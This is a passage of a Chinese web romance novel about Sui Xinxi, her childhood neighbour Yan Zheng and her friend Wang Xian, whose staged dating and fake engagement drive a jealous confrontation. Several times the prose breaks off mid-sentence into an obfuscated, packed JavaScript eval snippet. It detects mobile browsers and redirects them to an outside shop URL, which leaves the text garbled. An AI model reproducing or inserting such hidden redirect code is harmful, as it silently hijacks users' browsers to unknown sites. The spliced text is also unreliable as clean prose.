就在这时,晏铮伸长胳膊,把那盘油汪汪的鱼头端起来,放到王贤面前,“哥,尝尝这个,阿姨的拿手菜,够劲。” 王贤看着眼前一片刺眼的红辣椒,笑容有点僵。他吃不了辣。 “怎么不吃?”晏铮故意夹了块沾满辣椒的鱼肉到王贤碗里,又道:“对了,我有一朋友,和你一样,都在国外待了几年。” 隋心喜心里一紧,警惕地看向晏铮。 晏铮眼皮都没抬,继续说:“他在国外找了个男朋友,后面被那老外给踹了,人财两空。我这朋友哭天抹泪的,屁滚尿流就回来了,现在还窝家里缓着呢。” 他顿了顿,终于瞥了下王贤,“哥,你说这人,漂洋过海折腾一圈,最后哭爹喊娘回来,就不能做个正常人?” 在一旁的庞夏蕊听得嘴巴都大了:“啧啧啧,现在这些小年轻,真是什么花样都敢玩,我听说那些乱搞男男关系的,最容易得病。过日子,就得像小贤这样知冷知热的才靠得住。” 她说着,又给王贤夹了一大筷子爆炒牛肉,眼神里全是满意。 王贤却少见地没有接话。他想起那些伤心事,脸色又红又白。 桌子底下,隋心喜找准晏铮的小腿,一脚踹过去。 晏铮被踹得身子一歪,碗差点碰翻。他抬眼看向隋心喜,她正瞪着他。 晏铮对上那冒火的眼睛,喉结动了动,到底没再吭声。 这顿饭吃得隋心喜后背冒汗,总算结束了。 饭后,王贤很主动地帮庞夏蕊收拾桌子,“阿姨您坐着歇会,您都忙活半天了,这些杂活我来就好。” 庞夏蕊看着他三两下把垃圾归拢好,笑得见牙不见眼:“小贤真是太懂事,辛苦你了啊!” “应该的”,王贤拎起垃圾袋,冲隋心喜飞快地眨了下眼,开门下楼了。 晏铮也站起身:“阿姨,我吃好了,先回去了,明天再来看你。” “哎,好,小铮你去吧”,庞夏蕊应着,目光还追着王贤的背影。 晏铮点点头,转身出门。但他没回自己家,脚步声直接往下追。 —————————— 王贤丢了垃圾,正在水池前洗手,听到有人喊他名字。 他回头,看到晏铮果然跟来了。他挑了下眉,“有事?” 晏铮没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一声听着就肉疼的闷响,在夜晚的小区响起。 隋心喜和王贤同时被这声音惊得转头。 只见晏铮的右拳还死死抵在墙上,指关节处皮开肉绽,鲜红的血丝正洇出来,在昏暗的光线下格外刺眼。 隋心喜的心被那只血糊糊的拳头攥住了,疼得呼吸一窒。她下意识就想冲过去。 王贤却攥紧了她的胳膊。他太明白晏铮了,这小子在玩自残博关注。 隋心喜也知道王贤的意思。他在逼晏铮主动开口和她说心底话,而不是用这种病态的方式。 可是,隋心喜看着晏铮,看着他流血的手,看着他眼中湿漉漉的期盼,莫名就想到了一只被雨淋透、等着主人抱回家的小狗。 她从小到大都扛不住这眼神。 又气又急又心疼的情绪在她胸腔里炸开,什么计划都被她抛诸脑后了。 她甩开王贤的手,几步就冲到晏铮面前,“你发什么疯?” 晏铮依旧沉默,只是眼里的委屈更浓了。 “你跟我上楼!”隋心喜吼了一声,拽着他的胳膊就往单元楼里拖。 楼下,王贤听着远去的脚步声,甩了甩自己生疼的手,咧了咧嘴。 这小子,对自己下手是真狠啊……不过,效果应该还可以? 34. 第 34 章 隋心喜从晏铮手里拿过钥匙,咔哒一声,门开了。 一股子没人住的灰尘味,混着潮湿的霉气扑面而来。 隋心喜熟门熟路地摸到墙上的开关,白炽灯光一下子铺满了整个屋子。 客厅里的家具都蒙着白布,显得冷冷清清。 这地方,自从晏铮去外地上大学,就基本空着了。 隋心喜心里有点不是滋味,以前读书时她可没少往这儿跑。 “药箱还在老地方吧?我记得在电视柜下面”,隋心喜说着就往那边走。 晏铮却不由分说地拉住她,直接问:“你真跟王贤在一起了?” 隋心喜对上晏铮那张委屈巴巴的脸,就想说没有。可话到嘴边,又想起王贤的提醒。 她深吸一口气,僵硬地扯了扯嘴角,“王贤人是不错,对我也挺上心,我妈我爸很喜欢他。” 她顿了顿,眼瞅着晏铮的脸色一点点沉下去,把心一横,把王贤教的最后一句也甩出来:“其实我从读书时候起,对他就有点意思,可惜他喜欢男的,所以我一直在想,能不能弯的掰直。” 话一出口,晏铮的眼神瞬间变了。刚才那点强装出来的可怜消失得无影无踪,取而代之的是带着强烈攻击性的阴沉,就像被逼到悬崖边的野兽。 “有点意思?”晏铮往前走了一步。他人高,阴影一下子罩下来,“隋心喜,那我呢?我算什么?” “你是我弟弟啊”,隋心喜被这十足的压迫感逼得后退,后背差点撞到沙发扶手上。 晏铮的声音陡然拔高,带着被彻底点燃的怒火:“我从小就在你身边,十几年了,你摸着良心说,我对你不好吗?为什么啊?为什么你宁愿选一个基佬,也从来没考虑过我?为什么在你心里,在你爸妈心里,我晏铮就永远只配当你弟弟?” 他的质问像连珠炮一样砸过来,眼神又凶又烫,还掺杂着深不见底的受伤。 隋心喜没见过他这样失控的样子,有点被吼懵了。她试图解释,想说她心里的那个人…… 可是,她的话根本没机会出口。 因为晏铮忽然俯下身,一手箍住她的腰,一手扣住后脑勺,狠狠地吻了上去。 这个吻又粗暴又急切,充满了发泄和占有。 隋心喜的嘴唇被磕得生疼,一丝血腥味在口腔中四散开来。她整个人被固定着动弹不得,这不是她想象中任何关于亲吻的样子。 直到她感觉肺里的空气都快耗尽了,晏铮才松开了她。 她捂着嘴,惊魂未定地看着他,嘴唇上火辣辣的。 晏铮也看着她,胸口剧烈起伏着,眼里的疯狂还没完全褪去,又涌现出更多的懊悔。 “对不起……姐……对不起……我……我疯了……”他语无伦次,像个做错事怕挨揍的小孩,“你放心,我以后……以后不会乱来了……我会好好当你的弟弟,只当弟弟……” 他说完,猛地转过身,背对着她。他的肩膀还不断起伏着,这是在压抑情绪的最好证明。 隋心喜看着晏铮这副万念俱灰的样子,第一反应就是完蛋了,王贤的馊主意把他刺激过头了。 她急得想哭,要去拉他,背后却传来母亲不悦的喊声:“隋心喜!” 隋心喜吓得浑身一激灵,转头见自家大门不知道什么时候开了。 庞夏蕊就站在门口,一张脸拉得老长,眼神刀子似的在她和晏铮之间刮来刮去。 显然,刚才晏铮失控的动静,包括那个吻,都被妈妈看见了。 庞夏蕊的目光最终落在隋心喜身上,语气严厉:“晏铮今天才刚回来要休息,你跑这儿来干什么,还不赶紧回家?” 这话是对着女儿说的,但话里对晏铮的不满,却凝成了实质。 隋心喜瞬间蔫了。她再着急上火,也不敢当着庞夏蕊的面跟晏铮再拉扯什么。 “知道了妈,我这就回去”,隋心喜低声应着,又飞快地瞥了晏铮一眼,只看到他绷得死紧的肩线。 庞夏蕊不耐烦地“啧”了一声,像是在催她。 隋心喜没法子,只能一步三挪地回了自己家。 客厅里,隋涛原在看电视,见她回来,随口问了句:“小铮没事吧,你妈刚才急吼吼过去看啥?” 隋心喜含糊地应了句“没事”,就一头扎进了自己房间,反锁上门。 背靠着门板,隋心喜这才感觉腿有点发软。 她抬手摸了摸嘴唇,指尖似乎还残留着晏铮滚烫的体温。 她想起刚才那场惊心动魄的混乱,心乱如麻,摸出手机给王贤拨了过去。 电话一接通,隋心喜就迫不及待地将刚才发生的事情全部倒了出来。 电话那头沉默了足足半分钟,王贤显然也被这急转直下的剧情给整懵了。 “我靠,晏铮这小子还真他妈能憋啊,平时装得跟小绵羊似的,爆发起来这么猛?”晏铮终于爆出一句惊叹,又安慰隋心喜:“你先别急,冷静点。” “我怎么冷静啊!晏铮现在一个人在家,手还伤着,心里指不定怎么难受呢!而且我妈那态度,现在肯定更讨厌他了”,隋心喜急得在房间里转圈,恨不得立刻冲回对面,“你说我现在就给他发信息解释行不行?” 王贤沉吟片刻,耐心分析道:“我觉得还是先缓缓吧。你现在脑子里一团浆糊,情绪又这么激动,打字能说清楚什么?语气稍微不对,用词有点歧义,晏铮那种心思重的人,指不定会理解歪到哪里去。万一他钻了牛角尖,觉得你是在施舍他、可怜他,那更解释不清了。” 隋心喜觉得也有道理,“那怎么办,就这么干等着?我今晚肯定睡不着。” “你先调整一下心情,明天找他当面说就好了”,王贤顿了顿,又补充道:“如果……我是说如果,他经历了今晚这些,明天听了你的解释,还是放弃,那就说明你们可能真就不太合适,至少现在不合适。所谓强扭的瓜不甜,你想想是不是这个道理?” 王贤的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602804|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像一盆冷水,兜头浇在隋心喜滚烫的焦虑上,让她冷静了不少。 她看着窗外浓得化不开的夜色,也不确定明天是会等到一个渴望能听到的答案,还是一个让她心碎的句点。 —————————— 隋心喜一晚上翻来覆去,把第二天要和晏铮说的话在脑子里过了八百遍,床单都被她拧成了麻花。 窗外的天都蒙蒙亮了,她才迷迷糊糊地沉进一团粘稠的浆糊里,勉强睡了过去。 再睁眼,阳光已经明晃晃地照进屋内。她坐起身,抓过手机一看,都快中午了。 她立刻掀开被子跳下床,火急火燎地冲进卫生间。 镜子里的自己挂着两个浓重的黑眼圈,头发乱糟糟的。 她也顾不上那么多了,用最快的速度刷牙洗脸,趿拉着拖鞋就出了屋。 家里静悄悄的,估计爸妈都出去了。 那正好,她目标明确,直奔对门。 她用力拍着晏铮家的防盗门,手心都拍红了,门里却是一点动静都没有。 “晏铮!你在不在家?”她又用力拍了几下,侧着耳朵贴在门板上听,还是死寂一片。 一种不好的预感爬上心头。晏铮这个时候不在家?还是他真生气了,故意不开门? 她心里七上八下,正准备掏出手机打电话,庞夏蕊拎着购物袋上了楼。 她一眼就看见女儿穿着睡衣拖鞋站在晏铮家门口,眉头立刻皱了起来,“你在这儿敲什么呢?女孩子家家的,像什么样子!” 隋心喜顾不上她的不悦,赶紧问:“妈,你看见晏铮没有?” 庞夏蕊把购物袋放在自家玄关的柜子上,慢条斯理地换鞋,看都没看她,“他啊,一大早就出门了。我有个老姐妹,她闺女今年刚大学毕业,人长得水灵,性格也好。我看她跟晏铮挺般配的,就把联系方式给他了,让他去见见。年轻人嘛,多认识认识,没坏处。” 隋心喜只觉得脑子里像有什么东西炸开了,“妈!你给他介绍相亲?为什么不跟我商量?” “跟你商量什么?”庞夏蕊终于抬起头,眼神锐利地扫过来,“我给晏铮介绍个好姑娘怎么了?我这是为他好!你一个做姐姐的,也该替弟弟高兴才对。” “他需要你为他好吗?”隋心喜气得浑身都在抖,“你把他介绍去哪儿了?你告诉我他去哪儿了!” 庞夏蕊无视了隋心喜的追问,直接拎起购物袋往厨房走,“他去哪儿是他的事。你赶紧回屋把自己收拾收拾,看看你现在像什么样子!别一天到晚盯着对门,人家晏铮大学都毕业了,我给他介绍女孩子,他也不抗拒啊!” 隋心喜看着庞夏蕊的背影,强烈的被背叛感汹涌而来,只憋得胸口都要爆炸了。 两个她最亲近的人,居然只用了一个早上的时间,母亲就安排晏铮去相亲了。而他昨晚还强吻她,今天怎么就会答应呢? 她狠狠一跺脚,转身冲回了自己房间,拉过被子蒙住了头。 35. 第 35 章 夜风带着刺骨的凉意,吹得路边的梧桐树叶子哗哗作响。 晏铮拖着脚步走进小区大门,整个人像是被抽掉了筋骨,说不出的疲惫。 他今天一天都浑浑噩噩,那个相亲局更是尴尬到极点。对方姑娘是不错,很有礼貌,但他脑子里晃来晃去的,全是隋心喜的脸。 就在这时,旁边梧桐树的阴影里,走出一个人影—— 隋心喜显然等了好一会,双手插在外套口袋里,肩膀微微缩着,抵御着夜里的寒气。 晏铮很是诧异:“现在已经很晚了,你在这儿干什么?” “等你”,隋心喜抿了抿唇,“我有话跟你说。” 昨夜一幕幕的不快闪过眼前,晏铮只想回家,把自己关起来舔舐伤口。 他移开目光,声音冷得像这夜风,“可我没什么要和你说。” “我有!”隋心喜往前一步,挡住晏铮的去路。 她抬起头,目光灼灼地盯着他,“晏铮,我们别再绕弯子了,我就问你一句话,你今天是不是去相亲了?” 这句话刺中了晏铮强装的冷漠。他停下脚步,看着隋心喜脸上的执拗,心里像被钝刀子割着。 她凭什么问,她有什么立场问,是她自己承认对王贤有意思,现在倒来质问他相亲? 积压已久的怨气冲了上来,烧得晏铮理智有点失控。 他扯了扯嘴角,露出一个报复的假笑,“是啊,去了。你妈介绍的姑娘,和我挺聊得来。姐姐这是在关心弟弟的终身大事吗?姐姐已经找到王贤这样的好归宿,弟弟也该抓紧点,试着追追女孩子。” 晏铮故意一口一个“姐姐”“弟弟”,这些词语都像烧红的烙铁,烫在隋心喜的心上。 唯一不同的是,之前一直是她强调他是弟弟,现在是他强调她是姐姐。 她只觉得一股酸涩冲上鼻腔,呛得喉咙发紧。 她连忙将指甲掐进掌心,用尖锐的疼痛逼回快要涌出的泪水。 她艰难吞咽一下,决定不和他计较,继续道:“你告诉我,之前你在我出租屋里,偷亲我的一下,还有昨天晚上强吻我,都算什么?” 终于问出来了。隋心喜像卸下了千斤重担,又像把自己推到了悬崖边,等待着最终的审判。 晏铮却是沉默半晌,告诉她:“算我那时候脑子进水了。” 他强迫自己忽略她的泪光,继续用她说过的话回敬:“不过我已经想明白,你的话是对的,家人才能一辈子。叫你姐姐,至少我不会再被轻易抛下。” 他顿了顿,声音低沉下去,“所以你放心,我现在不再喜欢你,以后也不会。” 此时此刻,隋心喜终于明白了自己的可笑和残忍。那些曾经的话语,现在变成了锋利的回旋镖,扎得她鲜血淋漓。 她原本都计划好了,只要晏铮今天表达出一丝对相亲的不满,或者态度软化点,她都会不顾一切地表白。 但现在,他已经明确说了不喜欢她,她的喉咙就像被滚烫的砂纸堵住了,又干又痛。 她低下头,落荒而逃。当脚步踉跄地冲进单元门洞的黑暗时,她的泪水再也控制不住,瞬间模糊了视线。 —————————— 时间就像永不停站的列车,从不会因为某位乘客的悲欢而滞留站台。 隋心喜再见到王贤,已经是半年后。 他来她新租的公寓找她,一见面就夸张地哇哇大叫,“姐妹啊!你你你……你这是把哪个科技展的仓库搬家里来了?” 他指着玄关旁边摞得几个大纸箱,上面印着最新款VR眼镜的logo;视线扫过客厅,一个扫地机器人立在墙角;再往上,二楼的开放式小书房兼工作区更夸张,全新的显示器、主机箱、键盘、造型奇特的音箱……挤满了每一寸能放东西的平面。 王贤吸着凉气,嗓门拔得老高:“老实交代,你是不是被哪个科技巨头包养了?还是中彩票头奖了瞒着我?你这小Loft,上下两层加起来也就屁大点儿地方,愣是让你塞了那么多新产品,这得多少钱啊?” 隋心喜坐在沙发上,捞过一个抱枕抱着,“瞎嚷嚷什么,你没钱买吗?” “这不是钱不钱的事”,王贤跟发现了新大陆似的,凑到那个扫地机器人跟前,“这个型号,还在预售期,官网预订都排到明年了,没点特殊渠道还搞不到。” “还有那个显示器,我刚在科技博主那儿看过评测,死贵死贵的!隋心喜,你不对劲,非常不对劲!”他扭过头,眼神里闪烁着八卦的精光,“你不是找了个新工作,你是找到了一只会下金蛋的□□?快说,金主爸爸是谁,帅不帅?” 隋心喜把脸埋在抱枕里,声音更闷了:“什么金主爸爸,瞎扯,都是快递送来的。一般是过节的时候,什么情人节、七夕,连儿童节都有人送。没署名,就一张卡片,写着‘节日快乐’。” 王贤一听,更来劲了。他几步蹿到沙发边坐下,“匿名追求者?这手笔,这品味,这持久力,够浪漫啊,我瞧你也没整容,魅力值什么时候爆表了?是不是你新同事,还是哪个神秘客户啊?” 隋心喜摆摆手:“浪漫什么,这些东西占地方不说,好些我根本用不上,包装都懒得拆。” 她叹了口气,眼神发空,“我猜,可能是晏铮。” “除了他,谁这么闲得慌,又这么有钱烧得慌?而且我后来才知道,我现在这家公司的老板,跟他那个维恒,也有不少生意来往。我面试那会顺利得不像话,现在想想,搞不好也有他的功劳。” 王贤脸上的兴奋劲收了收,“那你就这么干猜着?也不直接问他?” 隋心喜嗤笑一声,“算了,懒得问。问了又能怎么样?就算他承认了,我还能给他把东西退回去?退回去地址写哪儿,写他公司,还是写我以前的出租屋地址?” 在那场不欢而散后,隋心喜在家又躺了几天,就回江市找工作了。她也不好意思再和晏铮同一屋檐下,连夜收拾好东西搬出来。 晏铮当时是知道的,不过他没拦,也没问,就像默许了两人的远离。 王贤见隋心喜这样,心里的愧疚感又冒上来了。 这半年,好友虽然换了工作,租了新房子,表面上看是开始了新生活,但他知道,她根本没过去心里那道坎。 她整个人像是被抽掉了精神气,对什么都淡淡的,除了工作,就是窝在家里。 他懊恼地抓了抓头发,挪着坐近了些,“真是对不起啊!都怪我,半年前出的馊主意,把你俩搞崩了。你们后面一直都没有联系吗?” 这段时间,隋心喜刻意避开所有可能遇到晏铮的场合,他也默契地没有出现。两人像两条短暂相交又迅速分道扬镳的线。 她苦笑一下,指了指满屋的东西,“也不算吧,还有匿名联系着呢。” 王贤看着她强装无谓的样子,心里更难受了,同时那好管闲事的劲儿又上来了—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602805|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 隋心喜不能再这样半死不活的下去,看着就让人着急;晏铮那小子也是,明明放不下,搞这些偷偷摸摸送东西的把戏。 两个别扭精! 王贤脑子飞快运转着,一拍大腿,“心喜啊,我们不和他玩什么虐恋情深哑谜游戏了好不?” 隋心喜皱眉看他:“那你想怎么样?冲到他公司去,揪着他领子问?” “问了也白问,那小子嘴硬,你又不是不知道”,王贤眼睛闪烁着熟悉的要搞事情的光芒,“咱们得来点实际的,下点猛药!” 隋心喜警惕地看着他:“你又想干嘛?王贤,我警告你啊,半年前你那药差点没把我送走。我可经不起第二回了。” “这回绝对不一样!”王贤信誓旦旦,耐心分析:“你看啊,你俩一个行尸走肉,真死;一个匿名送礼,装死。现在我们只需要一个大动静,把这潭死水彻底搅浑!” 隋心喜听得一个头两个大,“你能说点人话吗?” “订婚!”王贤掷地有声地吐出两个字。 隋心喜差点被自己的口水呛到:“什么玩意?” “订婚!”王贤又重复了一遍,眼神无比认真,“咱俩假订婚,演一出大戏!” 隋心喜像看疯子一样看着他,抓起抱枕就要扔过来。 “哎呀,听我说完!”王贤连忙按住她,“这次我们来个订婚宴,场面搞起来。” 隋心喜无力吐槽:“然后呢?等着他来砸场子,还是等着弟弟祝姐姐姐夫幸福?” “就是等着他来!”王贤一打响指,“晏铮他对你,占有欲强得要命。你要是突然宣布跟我订婚了,他能忍得了?他要是能坐得住,不来闹,不来抢……那行,我王贤把名字倒着写!咱也彻底死心,说明这男的对你也就那样了,配不上你惦记他这半年!” “他要是忍不住,来了……”王贤嘿嘿一笑,眼神狡黠,“那不就什么都好说了吗?他总不能再缩回去当乌龟送快递吧,这不比你现在猜他送东西是几个意思强一万倍?” 隋心喜沉默了。王贤的话像石头一样砸进她心里,荡起一圈圈涟漪。 这半年,两人虽然断了联系,但她骗不了自己。 她每天下班回到这个堆满他匿名关心的loft,那种空落落的感觉从未消失。眼前冰冷的机器,更像是无声的提醒。 可是,这主意听着比上次还要疯。无论晏铮来不来,爸妈那边都不好交代。 上次假扮男友就够他们念叨的了,再来个假订婚,她妈轻说拿擀面杖追着她打三条街,重的就直接断绝母女关系了。 她纠结得要死,最终还是摇摇头。 “姐姐,我的亲姐姐!”王贤急了,抓住她的胳膊晃了晃,“你觉得现在这样就好吗?你天天对着这些他送的东西,心里舒服吗?我都说了,最差的结果,无非就是晏铮不来,那你正好死心,彻底翻篇!你把这些破玩意都扔了,或者挂闲鱼卖了换钱,然后该吃吃该喝喝,找个真能处的,气死他!无论怎么样,总好过你现在自己折磨自己吧?” 是啊,现在这样就真的好吗? 隋心喜觉得自己就像一只被困在透明玻璃罐里的飞虫,看得见外面的光,却怎么也飞不出去。 王贤的计划,像一把锤子,敲在罐子上。 碎了会痛,会难堪,但至少,空气也能进来了。 她深吸一口气,对王贤点点头,“行,就按你说的办。这出订婚大戏,我跟你演了。” 36. 第 36 章 同事们都走了,办公室里只剩下晏铮一人。 他对着屏幕上一行行代码,手指在键盘上敲得飞快。 快十点钟的时候,手机响了。晏铮瞥了一眼来电显示,按下接听键,“喂,庞阿姨?” 庞夏蕊:“小铮啊,还在加班呐?” “嗯,有个模块急着上线”,想到庞夏蕊很少这个时候打电话过来,晏铮渐渐坐直了,“您是有什么事吗?” 庞夏蕊笑了笑,“是这样啊,心喜和王贤终于要定下来了。这个月八号有订婚宴,正好是她生日那天。” 晏铮礼貌的微笑僵在嘴边,眼前闪过两人最后相处的画面,她在夜风中给他留下了一个伤心欲绝的单薄背影。 是不是正因如此,才几个月不见,她就要嫁人了? 他觉得自己全身血液都凝固了,耳边只剩下庞夏蕊拔高的音调。 “他们两个工作也忙,不好请假回来,订婚宴就在江市办了算了。我们没什么走得近的亲戚朋友,就想着你从小跟心喜一块长大,跟亲弟弟也没两样。你又在江市工作,到时候你能不能作为娘家人,过去给心喜撑撑场面?也显得我们重视。” 晏铮心口一抽,接着就是又沉又紧的闷痛。他本想死死压着,但气都喘不匀了。 他发不出任何声音,也不想再听一个字,直接按下挂断键。 几秒钟的沉静后,晏铮一下站起来,抓起椅背上的外套,大步流星地就往外走。 夜晚的街道空旷,他飙车到隋心喜楼下。 他一脚刹车踩死,推开车门就冲进了单元门。 电梯慢得让人心焦,他烦躁地连按了好几下上行键。 电梯门一开,他直奔烂熟于心的门牌号,抬手就开始砸门。 过了一会,门开了,却不是隋心喜。 王贤穿着件家居服,头发有点乱,像是刚洗过澡,脸上带着点被打扰的不耐烦。 不过,他一看到门外的晏铮,那点不耐烦瞬间变成了毫不掩饰的胜利者笑容。 “哟,稀客啊”,王贤一条胳膊撑在门框上,丝毫没有让晏铮进去的意思,也没有要叫隋心喜出来的打算,“晏总,大晚上的跑我们家来砸门,这不太合适吧?” 晏铮听着“我们家”三个字,太阳穴突突直跳。他盯着王贤那张碍眼的脸,声音从牙缝里挤出来,“隋心喜呢?让她出来!” 王贤挑了挑眉,脸上的笑容更深了,带着赤裸裸的炫耀,“她累了,刚睡下。晏总找她有事吗?有什么话跟我说也一样。她现在的事,都归我管。” 晏铮眼睛都红了,他往前一步,“你他妈少在这跟我装!让隋心喜出来,我有话问她!” “啧,晏总火气别这么大嘛”,王贤一点没被他的气势吓到,反而好整以暇地换了个姿势,依旧稳稳地堵着门,脸上甚至带上了点怜悯,“我知道你什么意思,不就是听说了我俩订婚的事,急了。你想跑来质问,省省吧。” 他欣赏着晏铮变得铁青的脸色,缓缓补充:“我告诉你晏铮,以前是我跟隋心喜闹着玩,陪着演戏,现在我俩戏假情真了。所以从今往后,有我在,你甭想再靠近她一步。” 晏铮的拳头攥紧了,指关节捏得咯咯作响。他真想一拳砸在王贤充满挑衅的脸上,然后冲进去把隋心喜揪出来问个清楚。 就在这时,不远处的电梯门开了。一个穿着睡衣的中年女人走了出来,看样子是刚下楼扔垃圾回来。 她看到晏铮和王贤两个大男人在门口剑拔弩张的样子,尤其是晏铮那副要杀人的表情,脚步顿住了,眼神惊疑不定地在两人身上来回扫。 那目光像一盆冷水,兜头浇在晏铮头上。 他知道隋心喜最讨厌被人指指点点,也怕麻烦邻居。 他脑子里闪过她可能因此遭受的非议和尴尬,那股不管不顾的蛮劲,一下泄了。 他攥紧的拳头慢慢松开,只是手还在微微发抖。他深深剜了王贤一眼,转身离开。 电梯门合上,隔绝了王贤那张令人厌恶的笑脸,也隔绝了那扇他再也无法轻易踏进去的门。 回到车里,晏铮没有立刻发动车子,而是戳着屏幕找到隋心喜的号码,拨了过去。 在冰冷的忙音后,他挂断了电话。过了一会,他再打,依旧是忙音。 他不死心,挂断,再打。但连续打了半个小时,全是这种单调重复的忙音。 隋心喜是一直在和别人打电话,还是把他拉黑了? 想到后一种的可能性,晏铮的呼吸声都重了。 他退出通话界面,点开微信,迅速给隋心喜发去信息,【接电话!我找你!】 消息前面顿时出现了一个红底白色的感叹号,下面一行小字:【消息已发出,但被对方拒收了。】 手机屏幕的光映着晏铮没有血色的脸,和那双骤然失去温度的眼睛。 她果真把他拉黑了? 就为了那个所谓的未婚夫,她把这个有着十几年感情的“弟弟”踢出了她的世界,连问一句的机会都不给? 他的心脏像是被一只无形的手狠狠捏碎,剧烈的疼痛之后,暴戾的情绪如同火山熔岩喷涌。 他将手机狠狠砸在方向盘上,车子的喇叭声划破了小区的宁静。 晏铮喘着粗气,所有的痛苦渐渐汇聚成一个疯狂的念头: 她是他的,没有人能从他身边抢走! 他一定要得到她,不惜任何代价! —————————— 楼上,隋心喜的Loft里。 王贤关上门,快步走到客厅的落地窗边,小心翼翼地撩开窗帘一角往下看。 他一脸看好戏的兴奋,“他还没走,在车里坐着呢。” 隋心喜一直在房间里,根本没睡。 此刻她也走到王贤身边,探头往下看,只看到车顶。 她不安地绞着衣角,问:“你刚才说的那些话太损了,晏铮是不是气疯了?还有他一直打我电话,我设了免打扰,然后微信也拉黑了,这样会不会太过分?” “不过分怎么行?”王贤放下窗帘,正色道:“不把他逼到墙角,不把他那点自欺欺人的幻想打碎,他怎么会看清自己的心?你看他今天这反应,接到你妈电话就杀过来,这火冒三丈的劲儿,像是放下了吗?他要真放下了,就该说声恭喜,然后该干嘛干嘛去。他这样,就说明有戏!” 隋心喜沉默了一会,走到沙发抱着抱枕,声音闷闷的:“那万一到了订婚那天,晏铮真的没来,我们这戏可怎么收场?我妈我爸……” 王贤拍了拍胸膛,“都说了叫你放心,这事儿包在我身上。” “你忘了我是干什么的,短剧演员,临场应变是基本功。我都想好了,如果晏铮不来,我就和你爸妈说,今天这订婚宴啊,其实是我给你准备的生日整蛊!你爸妈顶多是骂我不懂事,不会把火烧到你那儿。而且你还可以装得很生气,趁机和我提分手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602806|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。这算盘,怎么打怎么响!” —————————— 离和爸妈约定的时间还有十五分钟。 隋心喜坐在酒店包厢内的圆桌边,手指无意识地在暗红绒布上抠来抠去。 “别抠了,再抠那桌布要让你抠出个洞来”,王贤的声音把她从一团乱麻的思绪里拽出来一点。 他坐在她对面,翘着二郎腿,手指在手机屏幕上划拉着,比她轻松自在多了。 隋心喜勉强扯了下嘴角,没吭声。她的眼睛不受控制地瞟向门口,心跳咚咚地撞着肋骨。 “诶,给你看个东西”,王贤摸出个小巧的丝绒盒子,里面躺着一枚戒指,戒托镶着一圈水钻,“怎么样,够不够唬人?组里拍戏用的道具,我顺手牵羊拿出来了。你待会小心点,用完我还要还回去的。” 话音刚落,那扇厚重的雕花木门就被人推开了。 晏铮站在门口,下巴和两腮蒙着层青黑的胡茬,眼底下两团明显的乌青,眼睛里红血丝不少,像是熬了不知道多少个大夜。 他扫了一眼王贤手中的戒指,冷笑出声,直奔隋心喜。 王贤立刻站起来,一个箭步挡在隋心喜和晏铮之间,脸上挤出复杂的表情,“坐吧,晏铮。” “滚开!”晏铮右手一抬,蛮横地搡在王贤的肩膀上。 王贤“哎哟”一声,被推得踉跄着退了好几步。 他捂着肩膀,看着晏铮,眼里除了表演出来的愤怒,还有真实的惊讶——这小子力度真他妈的大。 一切都发生在电光火石之间。隋心喜只觉得眼前一花,一股不容抗拒的力量就将她从椅子上拽了起来。 晏铮扣住她的手腕,往前的步伐又大又快。 她什么都来不及说,只能跌跌撞撞地跟在他后面,高跟鞋在地上踩出凌乱的声音。 两人刚到走廊,就差点撞上来人。 “哎呀,小晏也到了?正好……”庞夏蕊原本一脸喜色,但当她看到女儿被晏铮像抓小鸡崽一样拖着走时,剩下的话就戛然而止了。 隋涛原也反应过来,上前一步就要阻拦:“小铮,有话好好说!你……” 晏铮像是没听见,眼皮都没朝他们抬一下。他所有的注意力都在隋心喜身上,直接强硬地带着她从庞夏蕊身边挤了过去。 庞夏蕊气得浑身发抖,“晏铮!你反了天了,你给我站住!” 隋涛原也急了:“心喜,怎么回事?” 但晏铮的速度太快了。他拖着隋心喜,几步就冲到了电梯口。 正好电梯门开着,他将隋心喜塞进去,自己也闪身挤入,手指用力戳在关门键上。 电梯门在庞夏蕊愤怒的叫骂声和隋涛原焦急的喊声中合拢了。 密闭的空间里,只剩下他们两个人。电梯缓缓下行。 隋心喜靠在电梯壁上,手腕火辣辣地疼。晏铮背对着她,肩膀绷得像块坚硬的石头,她能清晰地感受到他的低气压。 到了地下车库,晏铮又是迅速将隋心喜塞进自己车里,“砰”地一声甩上车门。 